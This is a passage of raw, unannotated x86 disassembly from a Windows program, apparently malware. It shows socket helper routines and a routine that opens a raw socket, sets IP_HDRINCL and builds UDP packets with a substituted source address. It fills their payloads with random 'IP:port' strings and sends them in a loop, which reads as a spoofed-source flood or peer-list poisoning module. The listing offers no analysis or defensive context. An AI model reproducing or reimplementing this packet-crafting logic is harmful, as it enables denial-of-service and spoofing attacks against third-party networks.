ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call ds:dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call ds:dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call ds:dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call ds:dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call ds:dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call ds:dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call ds:dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call ds:dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call ds:dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call ds:dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU_0 ; "%u.%u.%u.%u:%u" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU_0 ; "%u" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call ds:dword_417238 ; ntohs mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call ds:dword_417238 ; ntohs mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF48 call ds:dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D 